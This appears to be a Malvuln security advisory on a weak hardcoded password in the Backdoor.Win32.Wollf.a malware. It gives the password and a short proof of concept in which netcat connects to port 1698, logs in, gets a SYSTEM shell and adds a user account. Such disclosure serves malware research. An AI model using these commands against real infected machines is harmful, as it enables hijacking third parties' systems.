Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Wollf.a  
Vulnerability: Weak Hardcoded Password   
Description: The malware listens on TCP port 1698 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "23706373" is weak and hardcoded within the executable. The malware is packed with UPX and exposes the cleartext all numeric credentials when decompressed.  
Type: PE32  
MD5: 52d1341f73c34ba2638581469120b68a  
Vuln ID: MVID-2021-0404  
Dropped files: keygen.exe  
Disclosure: 11/21/2021  
nc64.exe x.x.x.x 1698  
Login: 23706373  
Login succeed!  
"Wollf Remote Manager" v1.6  
Code by wollf,  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
nt authority\system  
C:\WINDOWS\system32>net user HYP3RLINX 666 /add  
net user HYP3RLINX 666 /add  
The command completed successfully  
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